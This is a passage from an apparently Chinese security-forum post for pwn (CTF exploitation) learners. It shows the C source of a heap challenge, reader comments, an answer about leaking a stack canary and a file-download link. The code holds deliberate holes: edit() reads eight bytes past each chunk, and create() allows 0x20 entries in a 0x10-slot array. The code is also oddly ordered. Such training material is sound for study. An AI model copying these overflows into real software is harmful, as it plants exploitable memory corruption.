        puts("No such heap !");
    }
}
void menu(void){
    puts("1.create");
    puts("2.dele");
    puts("3.edit");
    puts("4.show");
}
void main()
{
    init();
    int choice;
    while(1)
    {
        menu();
        scanf("%d",&choice);
        switch(choice)
        {
            case 1:create();break;
            case 2:dele();break;
            case 3:edit();break;
            case 4:show();break;
            default:puts("error");
        }
    }
}
#include<stdio.h>
void init()
{
        setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    return 0;
}
int num=0;
char *heaparray[0x10];
size_t realsize[0x10];
void create(){
    if(num>=0x20)
    {
        puts("no more");
        return;
    }
    int size;
    puts("Size of Heap : ");
    scanf("%d",&size);
    heaparray[num]=(char *)malloc(size);
    realsize[num]=size;
    num++;
    
    }
void show(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆块的index
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){
        puts("Out of bound!");
        _exit(0);
    }
    if(heaparray[idx]){//根据序列进行查找
        //打印指定堆块内容
        printf("Size : %ld\nContent : %s\n",realsize[idx],heaparray[idx]);
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void edit(){
    int idx ;
    char buf[4];
    printf("Index :\n");
    read(0,buf,4);//输入堆的序列号
    idx = atoi(buf);
    if(idx < 0 || idx >= 0x10){//判断序列号的正确性
        puts("Out of bound!");
        _exit(0);
    }
  //若序列号正确
    if(heaparray[idx]){
        printf("Content of heap : \n");
        read(0,heaparray[idx],realsize[idx]+8);
    //调用read_input函数输入堆的内容
        puts("Done !");
    }else{
        puts("No such heap !");
    }
}
void dele(){
    int idx ;

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-9-7 13:45 被H.R.P编辑 ,原因: 文章更新
收藏
免费 26
支持
分享
最新回复 (21)
雪    币: 212
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
2
支持
2022-1-24 13:07
1
雪    币: 235
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
3
非常感谢!希望能跟住大佬的步伐,有群可以进吗
2022-1-24 18:59
1
雪    币: 10821
活跃值: (4452)
能力值: ( LV12,RANK:404 )
在线值:
发帖
回帖
粉丝
4
学习一下
2022-1-24 20:13
1
雪    币: 2063
活跃值: (1752)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
XD,第八天,链接不全,没有提取码
2022-2-10 10:19
1
雪    币: 7002
活跃值: (3312)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
陈林00007 XD,第八天,链接不全,没有提取码
在最上边有个提取码,那就是第八天的
2022-2-10 11:20
1
雪    币: 7002
活跃值: (3312)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢大佬分享,之前没有接触过PWN,学习一个~
最后于 2022-2-10 11:21 被AcheronHana编辑 ,原因:
2022-2-10 11:21
1
雪    币: 14517
活跃值: (17538)
能力值: ( LV12,RANK:290 )
在线值:
发帖
回帖
粉丝
8
感谢分享,楼主很厉害,但是需要说明的是正常人大概率不可能在八天内学会这些内容(栈的可以,但是堆就很困难了),所以就算跟不上也不是什么丢脸的事儿
2022-2-10 11:32
1
雪    币: 243
活跃值: (2547)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
9
陈林00007 XD,第八天,链接不全,没有提取码
谢谢,已更正
2022-2-10 11:55
0
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
10
牛的
2022-2-10 12:54
1
雪    币: 70
活跃值: (2031)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
支持,楼主有心
2022-2-10 13:08
1
雪    币: 576
活跃值: (2035)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
感谢分享 ,没玩过ctf,相关的貌似都是linux相关的,特别是堆溢出利用相关好像网络上windows的资料少很多(闭源的原因)。
2022-2-10 13:30
1
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
13
感谢,好帖我顶
2022-2-13 10:21
0
雪    币: 20
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
14

d

最后于 2022-2-20 16:07 被旅行的意义13编辑 ,原因:
2022-2-13 10:27
0
雪    币: 200
活跃值: (296)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
太牛啦 支持楼主
2022-2-13 11:43
0
雪    币: 31
活跃值: (19)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
有没有大佬讲一下第一天canary,为啥要*0x100啊,不是加过‘\x00’了,应该够8位了啊,为啥要再左移两位,canary末位的是'\x00'还是0x00啊?
2022-3-31 00:27
0
雪    币: 243
活跃值: (2547)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
17
风语如歌 有没有大佬讲一下第一天canary,为啥要*0x100啊,不是加过‘\x00’了,应该够8位了啊,为啥要再左移两位,canary末位的是'\x00'还是0x00啊?
先把canary的末尾的0字节覆盖然后才能输出,所以接受的时候少了'\x00'这个字节,就要乘上0x100补全数据,canary末尾是'\x00' pwntools数据包装发送过去的十六进制数据会自动转化成字节的
2022-3-31 12:16
1
雪    币: 725
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
18
大佬可以重新发一下附件吗
2023-8-16 12:48
0
雪    币: 154
活跃值: (546)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
百度网盘全没了,能不能补一下链接,大佬
2023-8-16 15:12
0
雪    币: 243
活跃值: (2547)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
20
阿牛 百度网盘全没了,能不能补一下链接,大佬
2023-9-7 13:40
0
雪    币: 243
活跃值: (2547)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
21
2023-9-7 13:40
0
雪    币: 243
活跃值: (2547)
能力值: ( LV7,RANK:115 )
在线值:
发帖
回帖
粉丝
22
2023年9月7日 链接:https://pan.baidu.com/s/1KmyJh4yZGIGu9ilOiYAvcg?pwd=eoe6 
提取码:eoe6 
--来自百度网盘超级会员V5的分享
2023-9-7 13:45
0
游客
登录 | 注册 方可回帖
返回
//